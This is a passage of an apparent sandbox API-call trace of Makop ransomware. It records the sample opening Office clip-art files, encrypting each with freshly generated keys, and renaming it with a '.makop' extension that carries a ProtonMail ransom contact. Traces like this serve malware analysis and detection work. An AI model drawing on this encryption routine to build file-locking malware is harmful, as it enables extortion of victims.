lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0148.901] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.901] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.901] GetProcessHeap () returned 0x48a0000 [0148.901] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.902] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.902] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.902] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.902] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.902] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.902] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.902] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.902] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.903] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.903] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.903] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2026, lpOverlapped=0x0) returned 1 [0148.930] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2030, dwBufLen=0x2030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2030) returned 1 [0148.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2030, lpOverlapped=0x0) returned 1 [0148.931] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.931] SetEndOfFile (hFile=0xf0) returned 1 [0148.940] GetProcessHeap () returned 0x48a0000 [0148.940] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.940] GetProcessHeap () returned 0x48a0000 [0148.940] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.940] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.942] CloseHandle (hObject=0xf0) returned 1 [0148.943] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1 [0148.943] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 63 [0148.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.945] GetProcessHeap () returned 0x48a0000 [0148.945] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.945] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.946] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.946] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0149.002] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.002] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.002] GetProcessHeap () returned 0x48a0000 [0149.003] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.003] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.003] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.003] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.004] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x35b2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x35b2, lpOverlapped=0x0) returned 1 [0149.070] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35c0, dwBufLen=0x35c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35c0) returned 1 [0149.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x35c0, lpOverlapped=0x0) returned 1 [0149.071] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.071] SetEndOfFile (hFile=0xf0) returned 1 [0149.078] GetProcessHeap () returned 0x48a0000 [0149.078] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.078] GetProcessHeap () returned 0x48a0000 [0149.078] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.078] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.082] CloseHandle (hObject=0xf0) returned 1 [0149.083] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1 [0149.083] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 63 [0149.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.089] GetProcessHeap () returned 0x48a0000 [0149.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.089] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.089] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0149.094] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.094] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.094] GetProcessHeap () returned 0x48a0000 [0149.094] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.094] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.094] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.094] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.094] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.095] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.095] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.095] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.095] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.095] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3b2e, lpOverlapped=0x0) returned 1 [0149.096] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b30) returned 1 [0149.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3b30, lpOverlapped=0x0) returned 1 [0149.097] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.097] SetEndOfFile (hFile=0xf0) returned 1 [0149.111] GetProcessHeap () returned 0x48a0000 [0149.111] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.111] GetProcessHeap () returned 0x48a0000 [0149.111] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.111] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.113] CloseHandle (hObject=0xf0) returned 1 [0149.113] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1 [0149.113] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF") returned 63 [0149.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.270] GetProcessHeap () returned 0x48a0000 [0149.270] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.270] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.271] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0149.277] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.277] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.277] GetProcessHeap () returned 0x48a0000 [0149.277] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.277] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.277] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.277] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.277] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.278] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.278] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.278] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.278] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2242, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2242, lpOverlapped=0x0) returned 1 [0149.305] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2250, dwBufLen=0x2250 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2250) returned 1 [0149.305] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.305] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2250, lpOverlapped=0x0) returned 1 [0149.306] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.306] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.306] SetEndOfFile (hFile=0xf0) returned 1 [0149.312] GetProcessHeap () returned 0x48a0000 [0149.312] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.312] GetProcessHeap () returned 0x48a0000 [0149.313] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.313] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.314] CloseHandle (hObject=0xf0) returned 1 [0149.315] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1 [0149.315] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF") returned 63 [0149.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft 